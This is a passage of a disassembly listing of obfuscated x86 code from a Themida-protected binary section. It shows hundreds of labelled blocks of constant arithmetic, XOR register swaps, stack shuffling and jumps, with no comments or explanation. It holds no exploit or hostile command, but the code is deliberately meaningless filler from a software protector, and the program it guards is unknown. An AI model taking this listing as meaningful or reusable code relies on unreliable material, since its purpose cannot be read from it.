Themida_:005AE58Aj pop ebp jmp loc_5ACBFC ; --------------------------------------------------------------------------- loc_5A54F0: ; CODE XREF: Themida_:0059C48Fj mov ebx, 3BCD6596h dec ebx and ebx, 0EF1457Ch xor ebx, 7F4E6DBEh add ebp, ebx pop ebx sub ebp, 4114757h add ebp, edx add ebp, 4114757h sub ebp, 758F28AAh push dword ptr [esp] jmp loc_5A9144 ; --------------------------------------------------------------------------- loc_5A5521: ; CODE XREF: Themida_:0059F0DFj mov [esp], esi push 55660A02h pop esi add esi, 0AA99F602h add ebx, 56FE5D6Ch add ebx, esi sub ebx, 56FE5D6Ch mov esi, [esp] add esp, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_5AD38C ; --------------------------------------------------------------------------- loc_5A5559: ; CODE XREF: Themida_:005A8A77j sub edx, 423C7E29h sub edx, ebx xchg edx, ebx mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_598C9F ; --------------------------------------------------------------------------- loc_5A557A: ; CODE XREF: Themida_:loc_5A4EE9j ; Themida_:005A9572j push edi mov edi, 7DFF6A63h sub eax, edi jmp loc_5A1BEA ; --------------------------------------------------------------------------- loc_5A5587: ; CODE XREF: Themida_:loc_5AB394j xor edx, 13C846F9h jp loc_5A87F5 jmp loc_5ABA62 ; --------------------------------------------------------------------------- loc_5A5598: ; CODE XREF: Themida_:0059DE52j add edx, edi sub edx, 3C1B79BBh jmp loc_598750 ; --------------------------------------------------------------------------- loc_5A55A5: ; CODE XREF: Themida_:005AC754j or edx, 62A476B5h and edx, 7E243E5Eh not edx xor edx, 0E3C99E34h or eax, edx pop edx add eax, 0C44D965Dh or edx, eax pop eax sub edx, 1 jmp loc_5A73A5 ; --------------------------------------------------------------------------- loc_5A55CC: ; CODE XREF: Themida_:005AD3D7j push ebp mov ebp, 1BF6F4Ah shl ebp, 2 jmp loc_5A13DC ; --------------------------------------------------------------------------- loc_5A55DA: ; CODE XREF: Themida_:005AABD5j mov esi, 183B35D8h push ecx mov ecx, 33BB21CCh xor ecx, 7CA93E8Ah jmp loc_59B172 ; --------------------------------------------------------------------------- loc_5A55F0: ; CODE XREF: Themida_:0059AEDDj ; Themida_:005AA2D8j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edi add esp, 4 push esi jmp loc_59C5ED ; --------------------------------------------------------------------------- loc_5A560A: ; CODE XREF: Themida_:005A8812j sub eax, 88B6697h add eax, ecx add eax, 88B6697h pop ecx jmp loc_59B018 ; --------------------------------------------------------------------------- loc_5A561C: ; CODE XREF: Themida_:005A9BDFj sub edi, 7C74A3EFh mov ecx, edi pop edi jmp loc_5A32EA ; --------------------------------------------------------------------------- loc_5A562A: ; CODE XREF: Themida_:005A0DB9j and eax, 52B63E3Bh not eax jmp loc_59A6C7 ; --------------------------------------------------------------------------- lodsb push edx mov dl, 0AEh jmp loc_59AEFF ; --------------------------------------------------------------------------- loc_5A563F: ; CODE XREF: Themida_:005A9947j pop dword ptr [esp] mov esp, [esp] jmp loc_5AE802 ; --------------------------------------------------------------------------- loc_5A564A: ; CODE XREF: Themida_:005A52EFj mov [esp], edi sub esp, 4 mov [esp], ecx push 71227AF4h jmp loc_59C75D ; --------------------------------------------------------------------------- loc_5A565D: ; CODE XREF: Themida_:005A6147j mov edi, 439A44F0h jmp loc_59DBFD ; --------------------------------------------------------------------------- loc_5A5667: ; CODE XREF: Themida_:005AE91Bj and edx, 4D2E72A6h jmp loc_5AE8A8 ; --------------------------------------------------------------------------- loc_5A5672: ; CODE XREF: Themida_:005AEDDDj shl esi, 5 add esi, 32C34975h push ecx mov ecx, 2CCB7F9Eh sub ecx, 0A392790Fh jmp loc_59E91B ; --------------------------------------------------------------------------- loc_5A568C: ; CODE XREF: Themida_:005A447Cj pop edx jmp loc_59BC5B ; --------------------------------------------------------------------------- loc_5A5692: ; CODE XREF: Themida_:0059AF58j xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push 433h jmp loc_5ACFEB ; --------------------------------------------------------------------------- loc_5A56A8: ; CODE XREF: Themida_:005A705Dj shr esi, 6 sub esi, 0DCC57E8Ch inc esi jmp loc_5AE946 ; --------------------------------------------------------------------------- loc_5A56B7: ; CODE XREF: Themida_:0059EDB7j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5A9166 ; --------------------------------------------------------------------------- loc_5A56C6: ; CODE XREF: Themida_:005A1F05j jmp loc_5A36AA ; --------------------------------------------------------------------------- loc_5A56CB: ; CODE XREF: Themida_:0059DC35j mov esi, 4 add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov edi, [esp] add esp, 4 and ecx, esi mov esi, [esp] jmp loc_5A1E6F ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebx push esp push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 push eax jmp loc_5ACD43 ; --------------------------------------------------------------------------- loc_5A570E: ; CODE XREF: Themida_:005ABB0Cj push esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_59E972 ; --------------------------------------------------------------------------- loc_5A571E: ; CODE XREF: Themida_:00599720j pop esp mov [esp], ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp not ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp pop ebp xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 mov [esp], edi mov edi, 1 and eax, edi mov edi, [esp] push edx push esp mov edx, [esp] add esp, 4 jmp loc_5AF11B ; --------------------------------------------------------------------------- loc_5A575A: ; CODE XREF: Themida_:005AF21Aj push ebp mov ebp, 0FFFFFFFFh sub edi, ebp mov ebp, [esp] add esp, 4 push ecx mov ecx, 7A601309h sub ecx, 6E2FAD5Ch sub edi, ecx mov ecx, [esp] add esp, 4 push ecx mov ecx, 0C0CA2074h add edi, ecx pop ecx jmp loc_59F8C1 ; --------------------------------------------------------------------------- loc_5A5790: ; CODE XREF: Themida_:0059BB1Aj add dword ptr [esp], 413D074Eh push eax mov eax, 212928E0h sub [esp+4], eax jmp loc_5A05AA ; --------------------------------------------------------------------------- loc_5A57A6: ; CODE XREF: Themida_:005A6EAAj pop ebx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59940C ; --------------------------------------------------------------------------- loc_5A57BB: ; CODE XREF: Themida_:005A8C8Fj add esp, 4 pop edx push edx jmp loc_59B7BB ; --------------------------------------------------------------------------- loc_5A57C5: ; CODE XREF: Themida_:005A9EA9j push dword ptr [esp] pop ecx push ebx push esp jmp loc_59EE92 ; --------------------------------------------------------------------------- loc_5A57D0: ; CODE XREF: Themida_:0059BCC9j add [esp+4], edi jmp loc_59FE7B ; --------------------------------------------------------------------------- loc_5A57D9: ; CODE XREF: Themida_:0059AEC9j sub ebp, 3E965747h add ebp, 47D47ACEh jmp loc_5A441A ; --------------------------------------------------------------------------- loc_5A57EA: ; CODE XREF: Themida_:005AA57Fj add eax, 4 add eax, 4 jmp loc_59E8FE ; --------------------------------------------------------------------------- loc_5A57F9: ; CODE XREF: Themida_:005AEFBDj shl dword ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A5802: ; CODE XREF: Themida_:005A94F0j xchg eax, esi not eax xchg eax, esi inc esi sub esi, 0DA1E9C16h sub ebx, esi jmp loc_5AE8FA ; --------------------------------------------------------------------------- loc_5A5814: ; CODE XREF: Themida_:0059ECE3j push dword ptr [esp] jmp loc_5A649B ; --------------------------------------------------------------------------- loc_5A581C: ; CODE XREF: Themida_:0059DFB6j xor edx, 55F5343Eh sub edx, 5A482D53h xor eax, edx pop edx jmp loc_5A193A ; --------------------------------------------------------------------------- loc_5A5830: ; CODE XREF: Themida_:0059B37Aj add al, 86h sub al, 49h jmp loc_5ADD11 ; --------------------------------------------------------------------------- loc_5A5839: ; CODE XREF: Themida_:0059A832j push dword ptr [esp] pop edi push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5A6181 ; --------------------------------------------------------------------------- loc_5A5851: ; CODE XREF: Themida_:005A7D60j jnp loc_5A769C add bh, 0B3h jmp loc_5AAAD1 ; --------------------------------------------------------------------------- loc_5A585F: ; CODE XREF: Themida_:0059898Fj sub esi, ebx jmp loc_5AA41B ; --------------------------------------------------------------------------- loc_5A5866: ; CODE XREF: Themida_:005A3D3Dj mov edx, 4B16632Ah mov esi, 5B6B4153h xor esi, edx pop edx shl esi, 5 jmp loc_5A2039 ; --------------------------------------------------------------------------- loc_5A587B: ; CODE XREF: Themida_:0059D914j mov edx, ebp pop ebp xor eax, edx pop edx add edi, eax pop eax push 4469h mov [esp], ebx mov ebx, 4 add edi, 71BE5A5Eh jmp loc_59ADC1 ; --------------------------------------------------------------------------- loc_5A589C: ; CODE XREF: Themida_:005A7639j xor edi, 34D74A8Bh jo loc_59E8A7 jmp loc_5A3724 ; --------------------------------------------------------------------------- loc_5A58AD: ; CODE XREF: Themida_:0059F6D0j xor ebx, 82E7DA2h jmp loc_59F88F ; --------------------------------------------------------------------------- loc_5A58B8: ; CODE XREF: Themida_:005AED71j shl edx, 4 jmp loc_5A453B ; --------------------------------------------------------------------------- loc_5A58C0: ; CODE XREF: Themida_:005A44D6j xor ebx, [esp] mov esp, [esp] inc dword ptr [esp] pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A58CF: ; CODE XREF: Themida_:0059B63Fj ; Themida_:005ADE4Dj push eax mov eax, 142631D6h or eax, 3FD357A4h shl eax, 2 jmp loc_5A33FE ; --------------------------------------------------------------------------- loc_5A58E2: ; CODE XREF: Themida_:005A0AADj sub esi, 0FFFFFFFFh xor esi, 0E553FE8Ah xor eax, esi mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5AC53C ; --------------------------------------------------------------------------- loc_5A5902: ; CODE XREF: Themida_:005A6E8Cj add esp, 4 pop dword ptr [esp] jmp loc_59E51F ; --------------------------------------------------------------------------- loc_5A5910: ; CODE XREF: Themida_:0059DC7Ej push ebx mov ebx, 7FD04A0Eh xor ebx, 2B1600C5h jmp loc_5AE3CF ; --------------------------------------------------------------------------- loc_5A5921: ; CODE XREF: Themida_:0059F009j ja loc_59C1A0 jmp loc_5A7ED0 ; --------------------------------------------------------------------------- mov ecx, 18BD0135h mov bl, 6Ah loc_5A5933: ; CODE XREF: Themida_:005A6EA2j pop edi xchg edx, [esp] mov esp, [esp] loc_5A593A: ; CODE XREF: Themida_:0059B8D8j push 827h jmp loc_5ABC75 ; --------------------------------------------------------------------------- loc_5A5944: ; CODE XREF: Themida_:005A0548j sub ebx, 287A244Ch add ebx, ebp push ecx mov ecx, 287A244Ch add ebx, ecx mov ecx, [esp] add esp, 4 add ebx, 4DAF0625h pop ebp add ebx, 4 xchg ebx, [esp] mov esp, [esp] push 1215h mov [esp], edx sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_5ADE27 ; --------------------------------------------------------------------------- loc_5A5988: ; CODE XREF: Themida_:0059B446j pop esp pop dword ptr [esp] pop esp mov ax, [esp] push 5AE3h mov [esp], ebp mov ebp, esp push ebp sub esp, 4 jmp loc_5AF098 ; --------------------------------------------------------------------------- loc_5A59A4: ; CODE XREF: Themida_:005ADF90j jmp loc_5AAE51 ; --------------------------------------------------------------------------- loc_5A59A9: ; CODE XREF: Themida_:005AA2E1j sub esp, 4 mov [esp], esi jmp loc_59DBC9 ; --------------------------------------------------------------------------- loc_5A59B7: ; CODE XREF: Themida_:005A2187j sar word ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A59C1: ; CODE XREF: Themida_:005A8DA7j sub ebx, 1C932E7h push edi mov edi, 6A69156Fh add edi, 651D4580h inc edi add edi, 830648B1h jmp loc_59DC0A ; --------------------------------------------------------------------------- loc_5A59DF: ; CODE XREF: Themida_:0059B1ECj and edi, 53119D4h or edi, 30B26698h push eax jmp loc_598442 ; --------------------------------------------------------------------------- loc_5A59F1: ; CODE XREF: Themida_:005AC2F4j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 1A71h mov [esp], edx mov edx, 2 push edx xor dword ptr [esp], 45A510A6h pop ebp push ebx mov ebx, 45A510A6h xor ebp, ebx pop ebx push dword ptr [esp] jmp loc_5A7CF9 ; --------------------------------------------------------------------------- loc_5A5A2A: ; CODE XREF: Themida_:005ABDAEj shr ecx, 3 jmp loc_5A17DA ; --------------------------------------------------------------------------- loc_5A5A32: ; CODE XREF: Themida_:005A918Bj mov ecx, 4 jmp loc_59F773 ; --------------------------------------------------------------------------- loc_5A5A3C: ; CODE XREF: Themida_:005ADB11j push eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, ebx push edi mov edi, ecx mov ebp, edi jmp loc_5A3470 ; --------------------------------------------------------------------------- loc_5A5A5A: ; CODE XREF: Themida_:005A097Ej add eax, edi jmp loc_59A1C8 ; --------------------------------------------------------------------------- loc_5A5A61: ; CODE XREF: Themida_:0059F10Fj push ebp jmp loc_5A3C36 ; --------------------------------------------------------------------------- loc_5A5A67: ; CODE XREF: Themida_:005A9839j mov [esp], edi push esp mov edi, [esp] jmp loc_5A24A1 ; --------------------------------------------------------------------------- loc_5A5A73: ; CODE XREF: Themida_:005A37AFj movzx ax, byte ptr [eax] push small 6358h mov [esp], ax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A5A84: ; CODE XREF: Themida_:0059CDBAj mov edx, [esp] add esp, 4 add edx, 1A587E3Bh pop ebp add edx, 19421BE9h and edx, 104772D4h jmp loc_5AD99D ; --------------------------------------------------------------------------- loc_5A5AA2: ; CODE XREF: Themida_:005AA85Bj add eax, 34DEEA45h jmp loc_5A3000 ; --------------------------------------------------------------------------- loc_5A5AAC: ; CODE XREF: Themida_:005A2018j push 1AF2h mov [esp], eax push esp pop eax add eax, 4 push edi mov edi, 4 add eax, edi pop edi jmp loc_5A712F ; --------------------------------------------------------------------------- loc_5A5AC9: ; CODE XREF: Themida_:005A178Bj xchg ebp, [esp] jmp loc_5A63A6 ; --------------------------------------------------------------------------- loc_5A5AD1: ; CODE XREF: Themida_:0059D301j sub ecx, 0A06149A9h add ebx, 5D431BFEh add ebx, ecx push edx mov edx, 559D1737h sub edx, 2B666B33h shr edx, 7 shl edx, 2 shl edx, 8 xor edx, 91F304Ah add edx, 498CBB4h sub ebx, edx pop edx pop ecx add ecx, 76382C2Ch add ecx, ebx sub ecx, 76382C2Ch mov ebx, [esp] jmp loc_59EC7B ; --------------------------------------------------------------------------- loc_5A5B1A: ; CODE XREF: Themida_:005AE11Cj dec eax and eax, 707C7C23h jmp loc_5A2857 ; --------------------------------------------------------------------------- loc_5A5B25: ; CODE XREF: Themida_:005AAB16j pop esp jmp loc_5A34B0 ; --------------------------------------------------------------------------- loc_5A5B2B: ; CODE XREF: Themida_:005AAEFFj mov esp, [esp] sub esp, 4 mov [esp], edx push esp pop edx push 76C2h mov [esp], esi push ebp jmp loc_59F5A4 ; --------------------------------------------------------------------------- loc_5A5B47: ; CODE XREF: Themida_:005997C1j ; Themida_:005AC096j mov eax, 3C43AB30h sub ebx, eax mov eax, [esp] add esp, 4 add eax, ebx mov ebx, [esp] add esp, 4 sub eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 add [edi+24h], eax pop eax loc_5A5B74: ; CODE XREF: Themida_:0059C225j push edx push 256Ah jmp loc_5ADB0E ; --------------------------------------------------------------------------- loc_5A5B7F: ; CODE XREF: Themida_:005A39B5j dec ecx jge loc_598EF8 xor ecx, 626A0381h jmp loc_59FCEA ; --------------------------------------------------------------------------- push ebx pop esi loc_5A5B93: ; CODE XREF: Themida_:00598EAAj mov ecx, [esp] add esp, 4 push ebp jmp loc_5A1999 ; --------------------------------------------------------------------------- loc_5A5BA2: ; CODE XREF: Themida_:005A2BB9j add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5AA75C ; --------------------------------------------------------------------------- loc_5A5BB3: ; CODE XREF: Themida_:005AA032j add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_59C720 ; --------------------------------------------------------------------------- loc_5A5BC1: ; CODE XREF: Themida_:005ADDF8j or eax, ecx pop ecx push edx push 19B04F4h mov edx, [esp] jmp loc_5A4184 ; --------------------------------------------------------------------------- loc_5A5BD2: ; CODE XREF: Themida_:0059FE7Cj pop eax push ebp jmp loc_59CC3E ; --------------------------------------------------------------------------- loc_5A5BD9: ; CODE XREF: Themida_:005A86C9j xchg edi, [esp] pop esi push edx mov edx, 0F0998723h xor esi, edx pop edx jmp loc_59D9A3 ; --------------------------------------------------------------------------- loc_5A5BEB: ; CODE XREF: Themida_:005A2C3Bj push dword ptr [esp] mov eax, [esp] add esp, 4 push edi push ebx mov ebx, esp jmp loc_5AAF34 ; --------------------------------------------------------------------------- loc_5A5C00: ; CODE XREF: Themida_:005A4536j mov ecx, 5EBD6D4Ch sub ebx, 778A5AAAh sub ebx, ecx push esi mov esi, 1F5734A7h xor esi, 15F37557h inc esi add esi, 67AA28FEh add esi, 377E1893h shl esi, 8 push ecx mov ecx, 0C7411Fh add ecx, 5D4E3EFAh shl ecx, 5 neg ecx not ecx add ecx, 0E856D58Bh add esi, ecx pop ecx add ebx, esi pop esi pop ecx push eax mov eax, 53B3310Ch inc eax xor eax, 194164C2h add ebx, eax pop eax add ebx, 5AB94950h push dword ptr [esp] jmp loc_5A1101 ; --------------------------------------------------------------------------- loc_5A5C66: ; CODE XREF: Themida_:005A41CAj mov eax, [esp] jmp loc_5AD216 ; --------------------------------------------------------------------------- loc_5A5C6E: ; CODE XREF: Themida_:005A883Aj add dword ptr [esp], 4 jmp loc_59BAB7 ; --------------------------------------------------------------------------- loc_5A5C77: ; CODE XREF: Themida_:005AABC2j ; Themida_:005AD246j mov esi, 78BE426Bh add ebx, esi pop esi push eax mov eax, 74DF6CCEh and ebx, eax pop eax jmp loc_599C97 ; --------------------------------------------------------------------------- loc_5A5C8D: ; CODE XREF: Themida_:005A2FC4j ; Themida_:005A42C1j mov edi, [esp] add esp, 4 push edx push dword ptr [esp+4] jmp loc_5AC674 ; --------------------------------------------------------------------------- loc_5A5CA0: ; CODE XREF: Themida_:005ADD67j add eax, 4 push esi mov esi, 4 jmp loc_5ADC28 ; --------------------------------------------------------------------------- loc_5A5CB0: ; CODE XREF: Themida_:005A5074j mov eax, [esp] push 7C83h jmp loc_59E027 ; --------------------------------------------------------------------------- loc_5A5CBD: ; CODE XREF: Themida_:00598A3Aj add edx, edi pop edi add edx, edi sub edx, 7C306788h jmp loc_5A6E99 ; --------------------------------------------------------------------------- loc_5A5CCD: ; CODE XREF: Themida_:005A88C8j pop ebp sub dword ptr [esp], 1B531D13h add [esp], eax jmp loc_5A37F8 ; --------------------------------------------------------------------------- loc_5A5CDD: ; CODE XREF: Themida_:005986E6j mov esi, 413D1BCBh add ecx, esi jmp loc_5ADF70 ; --------------------------------------------------------------------------- loc_5A5CE9: ; CODE XREF: Themida_:005A7A37j push ecx mov ch, 0CEh or ch, 6Fh xor ch, 20h jmp loc_5A7FE0 ; --------------------------------------------------------------------------- loc_5A5CF7: ; CODE XREF: Themida_:005A6375j xor eax, [esp] mov esp, [esp] add [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A5D07: ; CODE XREF: Themida_:0059B406j push 6D3926A5h pop eax neg eax jle loc_5A780B or eax, 91D4568h jmp loc_59D327 ; --------------------------------------------------------------------------- loc_5A5D1F: ; CODE XREF: Themida_:005A6401j add al, 2Eh sub esp, 4 mov [esp], ecx mov cl, 25h add al, cl mov ecx, [esp] jmp loc_5AF2CE ; --------------------------------------------------------------------------- loc_5A5D33: ; CODE XREF: Themida_:00598EC9j push edx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5AB421 ; --------------------------------------------------------------------------- loc_5A5D48: ; CODE XREF: Themida_:0059BB97j xor [esp], edx xor edx, [esp] pop esp mov [esp], edx push 8000h push dword ptr [esp] jmp loc_5AB9D6 ; --------------------------------------------------------------------------- loc_5A5D5F: ; CODE XREF: Themida_:005AD9F2j ; Themida_:005ADEC7j and ecx, 151F1E61h js loc_5AF10D add ecx, 25A052AFh jb loc_59E5E8 or ecx, 4B6E6129h jmp loc_5997F6 ; --------------------------------------------------------------------------- loc_5A5D82: ; CODE XREF: Themida_:0059925Cj ; Themida_:0059E6CAj pop edi xchg ebx, [esp] pop esp push ebx jmp loc_5A6E7F ; --------------------------------------------------------------------------- loc_5A5D8D: ; CODE XREF: Themida_:005AC606j mov edx, [esp] add esp, 4 add edx, 4 jmp loc_598E7E ; --------------------------------------------------------------------------- loc_5A5D9E: ; CODE XREF: Themida_:loc_5A83A4j jmp loc_5AEF51 ; --------------------------------------------------------------------------- loc_5A5DA3: ; CODE XREF: Themida_:005A21FFj mov esi, esp push edi jmp loc_598740 ; --------------------------------------------------------------------------- loc_5A5DAB: ; CODE XREF: Themida_:005A63BCj mov esi, ebp pop ebp add [esp+8], esi push dword ptr [esp] mov esi, [esp] push ebp jmp loc_5AE6A5 ; --------------------------------------------------------------------------- mov eax, [esp] push ebx mov ebx, esp push 34D2h jmp loc_5A73D0 ; --------------------------------------------------------------------------- loc_5A5DCE: ; CODE XREF: Themida_:005A1E21j push ecx push edx sub esp, 4 mov [esp], ebx push 70A05678h pop ebx shr ebx, 5 not ebx add ebx, 5359151Fh mov edx, ebx mov ebx, [esp] jmp loc_5AB176 ; --------------------------------------------------------------------------- loc_5A5DF1: ; CODE XREF: Themida_:005A6B41j mov edx, 30DF1320h xor edx, 3B16104Ah dec edx js loc_5A252A jmp loc_59C9C5 ; --------------------------------------------------------------------------- loc_5A5E08: ; CODE XREF: Themida_:005A549Fj ; Themida_:005A8349j pop eax sub eax, 317A494Ch jg loc_5AC242 jmp loc_5A30DB ; --------------------------------------------------------------------------- loc_5A5E19: ; CODE XREF: Themida_:005A7245j sub edi, 0FFFFFFFFh inc edi jmp loc_59C4F6 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push 1605h mov [esp], eax jmp loc_59C8B5 ; --------------------------------------------------------------------------- loc_5A5E39: ; CODE XREF: Themida_:005A07B5j push ebx push 54965D06h jmp loc_5A66BB ; --------------------------------------------------------------------------- loc_5A5E44: ; CODE XREF: Themida_:005AA009j mov [esp], eax push esi push 62655D88h jmp loc_5A831E ; --------------------------------------------------------------------------- loc_5A5E52: ; CODE XREF: Themida_:005AA9FAj add esp, 4 mov ecx, edi pop edi xor eax, ecx jmp loc_5AB75A ; --------------------------------------------------------------------------- loc_5A5E62: ; CODE XREF: Themida_:005A30E4j ; Themida_:005A8176j and ebx, 76AB74C6h push ecx push ebp mov ebp, 31ECD04Dh mov ecx, ebp jmp loc_5A80D9 ; --------------------------------------------------------------------------- loc_5A5E76: ; CODE XREF: Themida_:0059BCFEj push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp xor bl, al movzx eax, al push dword ptr [edi+eax*4] push esi push 73D2h mov [esp], ecx jmp loc_59DB35 ; --------------------------------------------------------------------------- loc_5A5E9D: ; CODE XREF: Themida_:005AC37Bj add esp, 4 jmp loc_5A2892 ; --------------------------------------------------------------------------- loc_5A5EA8: ; CODE XREF: Themida_:00598F9Ej pop esp jmp loc_5AF0F4 ; --------------------------------------------------------------------------- loc_5A5EAE: ; CODE XREF: Themida_:0059D747j mov esp, [esp] jmp loc_5AD80F ; --------------------------------------------------------------------------- loc_5A5EB6: ; CODE XREF: Themida_:005AD48Dj ; Themida_:loc_5AEA48j xor [esp], eax xor eax, [esp] mov esp, [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_59D478 ; --------------------------------------------------------------------------- loc_5A5ECD: ; CODE XREF: Themida_:005A4CD0j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5A5393 ; --------------------------------------------------------------------------- loc_5A5EDB: ; CODE XREF: Themida_:005A2C84j shr esi, 5 jnz loc_5AE18A jmp loc_5A81F8 ; --------------------------------------------------------------------------- mov esp, [esp] mov [esp], eax pop esp loc_5A5EF0: ; CODE XREF: Themida_:005A3A6Ej add esi, edx jmp loc_59A485 ; --------------------------------------------------------------------------- loc_5A5EF7: ; CODE XREF: Themida_:005A1220j sub bl, 0F3h jmp loc_5AC0FC ; --------------------------------------------------------------------------- loc_5A5EFF: ; CODE XREF: Themida_:005A2AD3j xor ebx, 184E6F65h shl ebx, 1 not ebx neg ebx sub ebx, 8F6852C7h add eax, ebx jmp loc_5A49EA ; --------------------------------------------------------------------------- loc_5A5F18: ; CODE XREF: Themida_:005AC967j mov esi, ecx pop ecx not esi push 0 sub [esp], esi pop esi push esi not dword ptr [esp] jmp loc_5A869A ; --------------------------------------------------------------------------- loc_5A5F2F: ; CODE XREF: Themida_:005A1778j push edi mov edi, 4 jmp loc_5ACCC9 ; --------------------------------------------------------------------------- loc_5A5F3A: ; CODE XREF: Themida_:0059C8CEj mov [esp], ecx mov ecx, 2C18576Dh jmp loc_59FEDB ; --------------------------------------------------------------------------- loc_5A5F47: ; CODE XREF: Themida_:loc_5AF14Cj add ebp, 1C40B24h xor ebp, 0B931F36h xor ebp, 0B1CE7D06h mov edi, ebp jmp loc_5A3B5C ; --------------------------------------------------------------------------- loc_5A5F60: ; CODE XREF: Themida_:005A70CDj mov [esp], ebp mov ebp, 709716B0h or esi, ebp jmp loc_5A2410 ; --------------------------------------------------------------------------- loc_5A5F6F: ; CODE XREF: Themida_:00599CECj push 564h mov [esp], edi xor dword ptr [esp], 210058D6h pop edx xor edx, 210058D6h pop edi sub edx, 6E9A73C4h jmp loc_59BE0D ; --------------------------------------------------------------------------- loc_5A5F91: ; CODE XREF: Themida_:005A29D6j sub esp, 4 mov [esp], ecx mov ecx, esp push 66D5h mov [esp], esi mov esi, 4 add ecx, esi pop esi push ebx push edi mov edi, 12C25D61h or edi, 7B56312Ah jmp loc_5AE7AA ; --------------------------------------------------------------------------- loc_5A5FBB: ; CODE XREF: Themida_:0059D52Cj mov eax, 49F653A0h xor eax, 6ED86514h not eax sub eax, 0A9BC935Ch dec eax inc eax add eax, 5FB442FFh push edi mov edi, 8A9BBEE0h sub eax, 780106C7h add eax, edi add eax, 780106C7h pop edi jmp loc_5AA7B3 ; --------------------------------------------------------------------------- loc_5A5FEB: ; CODE XREF: Themida_:005A4578j xor ebx, [esp] xor [esp], ebx push dword ptr [esp] pop eax push edi push esp push dword ptr [esp] pop edi push ecx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebp mov ebp, 45342B63h sub ebp, 39132945h push ecx mov ecx, 11B44CD5h add ebp, ecx pop ecx neg ebp and ebp, 5B364BEDh neg ebp sub ebp, 0BDDDFEEFh jmp loc_59CBD2 ; --------------------------------------------------------------------------- loc_5A6040: ; CODE XREF: Themida_:0059D0BCj neg dh jz loc_59A843 xor dh, 40h push eax mov al, dh mov bh, al jmp loc_599449 ; --------------------------------------------------------------------------- loc_5A6055: ; CODE XREF: Themida_:0059D04Bj ; Themida_:005A4FC6j sub esp, 4 mov [esp], edi jmp loc_5A3052 ; --------------------------------------------------------------------------- loc_5A6060: ; CODE XREF: Themida_:005ABB18j jle loc_5A727E jmp loc_5A140C ; --------------------------------------------------------------------------- loc_5A606B: ; CODE XREF: Themida_:005A2F6Cj pop ecx sub ecx, 8AC761Eh mov eax, [esp] jmp loc_5AE7E3 ; --------------------------------------------------------------------------- loc_5A607A: ; CODE XREF: Themida_:0059B1B8j xor ebp, 0EC2FC02Bh jmp loc_5A3653 ; --------------------------------------------------------------------------- loc_5A6085: ; CODE XREF: Themida_:005A24B1j pop eax sub dl, bl add dl, 0AAh sub dl, 4Bh sub dl, 2Eh pop bx shl dl, 4 jmp loc_5AD818 ; --------------------------------------------------------------------------- loc_5A609B: ; CODE XREF: Themida_:005AE832j push ebp mov ebp, 1641F4Ch jmp loc_5A968C ; --------------------------------------------------------------------------- loc_5A60A6: ; CODE XREF: Themida_:0059AE55j xor [esp], eax xor eax, [esp] pop esp jmp loc_5A782C ; --------------------------------------------------------------------------- loc_5A60B2: ; CODE XREF: Themida_:005ADD20j add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5A2FE0 ; --------------------------------------------------------------------------- loc_5A60C6: ; CODE XREF: Themida_:005A3220j add dword ptr [esp+4], 250C6AA0h mov eax, [esp] jmp loc_59E4F8 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A60DE: ; CODE XREF: Themida_:005A145Aj push 87A7F69h pop ebp neg ebp jmp loc_5A2204 ; --------------------------------------------------------------------------- loc_5A60EB: ; CODE XREF: Themida_:005A0E86j and ebx, 68BB541Dh jmp loc_5A3A49 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp pop esi push edx push ebx jmp loc_5A40E7 ; --------------------------------------------------------------------------- loc_5A6104: ; CODE XREF: Themida_:00598DB0j ; Themida_:005A7D05j add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5A639A ; --------------------------------------------------------------------------- loc_5A6115: ; CODE XREF: Themida_:005A05ADj add esp, 4 jmp loc_5A2DCD ; --------------------------------------------------------------------------- loc_5A6120: ; CODE XREF: Themida_:0059A666j or esi, 43DD54B5h sub esi, 51F16E10h mov edx, esi pop esi add edx, edi pop edi jmp loc_5AF293 ; --------------------------------------------------------------------------- loc_5A6137: ; CODE XREF: Themida_:0059A7D0j sub edx, edi pop edi jmp loc_59E282 ; --------------------------------------------------------------------------- loc_5A613F: ; CODE XREF: Themida_:0059888Ej ; 